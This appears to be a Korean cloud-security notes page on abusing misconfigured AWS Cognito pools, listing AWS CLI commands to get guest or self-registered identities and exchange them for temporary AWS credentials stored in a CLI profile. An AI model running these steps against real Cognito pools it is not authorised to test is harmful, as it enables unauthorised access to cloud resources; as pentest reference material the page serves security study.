Cognito Misconfiguration
무료 회원은 열람할 수 없는 로직을 구현하고 싶을 때 게스트 접근을 허용하고,
게스트 접근을 통해 얻은 임시 세션에서는 IAM 권한을 제한하여 버킷 내 리소스를 차등적으로 배포Abuse
# Cognito 자격 증명 풀(Identity Pool)에서 사용자의 IdentityId를 요청
aws cognito-identity get-id --identity-pool-id '<identity-pool-id>' --no-sign-request --region '<region>'
# 획득한 IdentityId를 이용해 임시 자격 증명(AccessKey, SecretKey, SessionToken) 요청
aws cognito-identity get-credentials-for-identity --identity-id '<identity-id>' --no-sign-request --region '<region>'
# 발급받은 임시 자격 증명을 AWS CLI 프로필에 저장
aws configure set aws_access_key_id '<AccessKeyId>'
aws configure set aws_secret_access_key '<SecretKey>'
aws configure set aws_session_token '<SessionToken>'# Cognito User Pool에 새 사용자 회원가입 요청
aws cognito-idp sign-up --client-id '<client-id>' --username '<username>' --password '<password>' --user-attributes Name='email',Value='<email>' --region '<region>'
# 이메일로 받은 인증 코드를 사용하여 계정 활성화
aws cognito-idp confirm-sign-up --client-id '<client-id>' --username '<username>' --confirmation-code '<confirm-code>' --region '<region>'
# 사용자 로그인 및 JWT 토큰(세션) 발급
aws cognito-idp initiate-auth --client-id '<client-id>' --auth-flow USER_PASSWORD_AUTH --auth-parameters USERNAME='<username>',PASSWORD='<password>' --region '<region>'
# Cognito Federated Identity를 통한 Identity ID 발급
aws cognito-identity get-id --identity-pool-id '<identity-pool-id>' --logins "{ \"cognito-idp.region.amazonaws.com/'<user-pool-id>'\" : \"'<IdToken>'\" }" --region '<region>'
# AWS 임시 자격증명 발급
aws cognito-identity get-credentials-for-identity --identity-id '<identity-id>' --logins "{ \"cognito-idp.region.amazonaws.com/'<user-pool-id>'\" : \"'<IdToken>'\" }" --region '<region>'
# 발급받은 임시 자격 증명을 AWS CLI 프로필에 저장
aws configure set aws_access_key_id '<AccessKeyId>'
aws configure set aws_secret_access_key '<SecretKey>'
aws configure set aws_session_token '<SessionToken>'사용자 풀(User Pool)


자격증명 풀(Identity Pool)


Demo

References
Last updated
